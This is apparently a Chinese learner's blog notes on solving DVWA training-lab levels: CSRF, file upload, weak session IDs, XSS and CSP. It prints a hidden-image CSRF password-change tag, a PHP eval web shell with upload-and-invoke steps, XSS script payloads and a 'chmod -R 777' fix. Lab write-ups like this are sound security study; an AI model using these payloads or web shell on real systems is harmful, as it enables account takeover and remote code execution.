DVWA

2020-06-01  本文已影响0人  5f8689b959d5

low csrf

直接诱导url即可绕过

medium csrf

medium csrf
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

High csrf

报文:

报文

文件上传 低

  1. 把一句话木马<?php eval(@$_GET['a']); ?>写入php脚本文件中,上传。
  2. 上传成功,还返回了服务器保存路径。


    1.php
  1. 那么根据上面所解释的一句话木马的意思,就是构造一个请求,请求的url就是在文件上传存储路径下面的,并且再构造一个参数a.


    找到文件路径之后,就访问,那么就启动了文件里面的代码,pass=whoami,就传入了参数,执行

URL中“#” “?” &“”号的作用

https://www.cnblogs.com/kaituorensheng/p/3776527.html

文件上传 中

以下是错误思路

  1. 直接上传木马错误,上传文件类型做限制了


    直接上传
  2. 将类型名字直接改掉


    改掉文件类型,改为jpeg

    这里是正确思路:

文件上传 高

  1. 上传文件,获取文件上传路径
  2. 利用文件包含执行这个文件

蚁剑+DVWA+文件上传
https://blog.csdn.net/qq_42342141/article/details/102815402

蚁剑+DVWA+文件上传

菜刀+DVWA+文件上传
https://www.freebuf.com/articles/web/119467.html

这个菜刀工作原理就是远程命令执行嘛,跟DVWA里面的文件包含漏洞差不多,就是有个参数你是可以操作的,文件包含的漏洞,那个参数是系统本来自己的,但是菜刀的这个,是你先上传了一个文件上去,里面有个参数可以供我使用。比文件包含的操作多了一步,就是文件上传。

SQL注入 低

弱session_id

每次请求的时候,cookie的DvwaSessiond的值都在规律变化

那么另外一个浏览器,模拟其他的攻击者登录。

需要下载一个postman来改数据包
https://blog.csdn.net/daiqinge/article/details/78320560
但是我的电脑现在不能访问外网妈的,等待建鹏的帮忙哦略略

弱session ID 低等难度
在这个实验里面,其实我还是不太明白
现在描述一下我的操作

  1. 首先使用admin 的账号去登录DVWA,然后观察session id 的变化


    image.png
    image.png
  1. session id 劫持


    session ID 的更新

    然后使用G账号发送A的cookie,看看是否能够成功


    image.png
image.png

所以后面我得到的结论就是,cookie要全部正确才可以,至少说服务端需要验证的参数都要正确才可以,不是说一个session ID 就可以的,他只是其中的一个因素。
至于那个一直在更新的session ID 我到现在还不是很明白,为什么不要对应呢

学习链接
https://www.freebuf.com/articles/web/131305.html
点进去看啊,所有都是重点!所有都是大佬的笔记。一个会话存在问题的方式也很多的!
https://www.freebuf.com/column/228476.html

服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持。
可能意思就是说,session ID 不是只指返回包的那点session ID, 而是包含的整个session ID 的cookie,叫做weak session ID。

XSS dom 低

DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。
在网站页面中有许多页面的元素,当页面到达浏览器时浏览器会为页面创建一个顶级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
在里面选择
分析

源码分析

服务器中没有设置保护,前端页面也没有

XSS dom 中

直接使用之前的payload,直接什么都不返回了


可能是做了什么绕过啊之类的

查看原码,好像也没有过滤什么东西吧


image.png
'%22%3Cscript%3Ealert('xss')%3C/script%3E(这个是转换成了url编码)

毕竟这个不是不存在了<script,但是还是不成功
ASCII码转换又不会转换
那就转换成Unicode编码


好像也没有什么乱用 image.png

这个是别人的作业
https://www.jianshu.com/p/001daa7cf1f5

  1. 代码没有分析清楚
  2. 有很多闭合也不了解。以为只有' " 这种闭合,其实还有标签的闭合呢。

xss DOM high

所以payload为:


#<script>alert(/xss/)</script>

这个时候就可以绕过了

dom image.png

xss漏洞攻击
https://www.jianshu.com/p/790fb57f3acb

XSS 反射型 low

抓包看一下


image.png

这个很明显跟DOM类型的不一样,DOM型可以看到是怎么调用的,因为是在客户端的嘛。但是反射型的这个就不可以。是不是可以闭合<pre>来看是否可以呢


成功

所以这个不是很难

xss DOM medium

image.png

被过滤掉了。感觉过滤的操作还是和DOM型的是一样的。

image.png

xss strored low

<script>alert(/xss/)</script>,只需要输入这个,就可以啦,下一次点击这个页面,就可以直接访问了

CSP绕过

CSP(浏览器内容安全策略)

CSP的启用
有两种方式:

  1. 通过HTTP头信息,content-security-policy的字段


    比如这个样子,
  2. 通过网页的<meta>标签

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
<meta>标签的定义和用法

我们在页面引入一个cdn,但是meta的content只设置为script-src 'self'

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta http-equiv="Content-Security-Policy"  content="script-src 'self'"/>
    <title>Document</title>
    <script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.min.js"></script>
</head>

所以会看到如下结果


拒绝加载脚本,因为它违反了以下内容安全策略指令:“script-src‘Self”。
html<script>标签
<meta http-equiv="Content-Security-Policy"  content="script-src 'self' https://cdn.bootcss.com"/>

我们已经看到了script-src如何设置,其实它同样是适用于其他资源的限制

  1. script-src: 外部脚本
  2. style-src:script-src 版的样式表
  3. img-src: 用于定义可从中加载图像的来源。
  4. font-src: 用于指定可提供网页字体的来源
  5. media-src: 用于限制允许传输视频和音频的来源。
  6. object-src: 可对 Flash 和其他插件进行控制。
  7. plugin-types: 用于限制页面可以调用的插件种类。
  8. child-src: 用于列出适用于工作线程和嵌入的帧内容的网址(框架)
    default-src
    默认情况下,这些指令的适用范围很广。如果您不为某条指令(例如,font-src)设置具体的政策,则默认情况下,该指令在运行时假定您指定 * 作为有效来源(例如,您可以从任意位置加载字体,没有任何限制)。可以通过指定一个 default-src 指令替换此默认行为.
<meta http-equiv="Content-Security-Policy"  content="default-src 'self'"/>

上面代码限制所有的外部资源,都只能从当前域名加载
如果同时设置某个单项限制(比如font-src)和default-src,前者会覆盖后者,即字体文件会采用font-src的值,其他资源依然采用default-src的值。

CSP bypass low

自己看一下吧,我不想写了,因为我不懂
https://www.jianshu.com/p/59b748f0f046
https://www.cnblogs.com/jojo-feed/p/10204588.html

DVWA访问异常 XAMMP

chmod -R 777 /opt/lampp/htdocs/

WEAK SESSION LOW

cookie劫持
session劫持

sessionID 从0开始,每次访问一个页面之后,服务器就返回数据包加1

https://www.jianshu.com/p/caeda6ee8964

中等难度是时间戳加密,高等难度是md5加密
但我们获取了cookie值的时候,我们就可以盗用别人的身份了。
cookie值正确之后,我们就可以直接访问需要登录后的被攻击方的页面,进行系列操作。

当用户登录后,在服务器就会创建一个会话(session),叫做会话控制,接着访问页面的时候就不用登录,只需要携带

Sesion去访问。

sessionID作为特定用户访问站点所需要的唯一内容。如果能够计算或轻易猜到该sessionID,则攻击者将可以轻易获取访问权

限,无需录直接进入特定用户界面,进而进行其他操作。

用户访问服务器的时候,在服务器端会创建一个新的会话(Session),会话中会保存用户的状态和相关信息,用于标识用户。

服务器端维护所有在线用户的Session,此时的认证,只需要知道是哪个用户在浏览当前的页面即可。为了告诉服务器应该使

用哪一个Session,浏览器需要把当前用户持有的SessionID告知服务器。用户拿到session id就会加密后保存到 cookies 上,

之后只要cookies随着http请求发送服务器,服务器就知道你是谁了。SessionID一旦在生命周期内被窃取,就等同于账户失窃。

Session利用的实质 :

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权

限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

Session劫持 : 就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用

了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存

在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

session and cookie 劫持 但是还是不懂怎么操作来攻击
https://www.cnblogs.com/phpstudy2015-6/p/6776919.html

使用Postman模拟HTTP请求
https://blog.csdn.net/weixin_30730151/article/details/99138278?utm_medium=distribute.pc_relevant.none-task-blog-baidujs-3

上一篇下一篇

猜你喜欢

热点阅读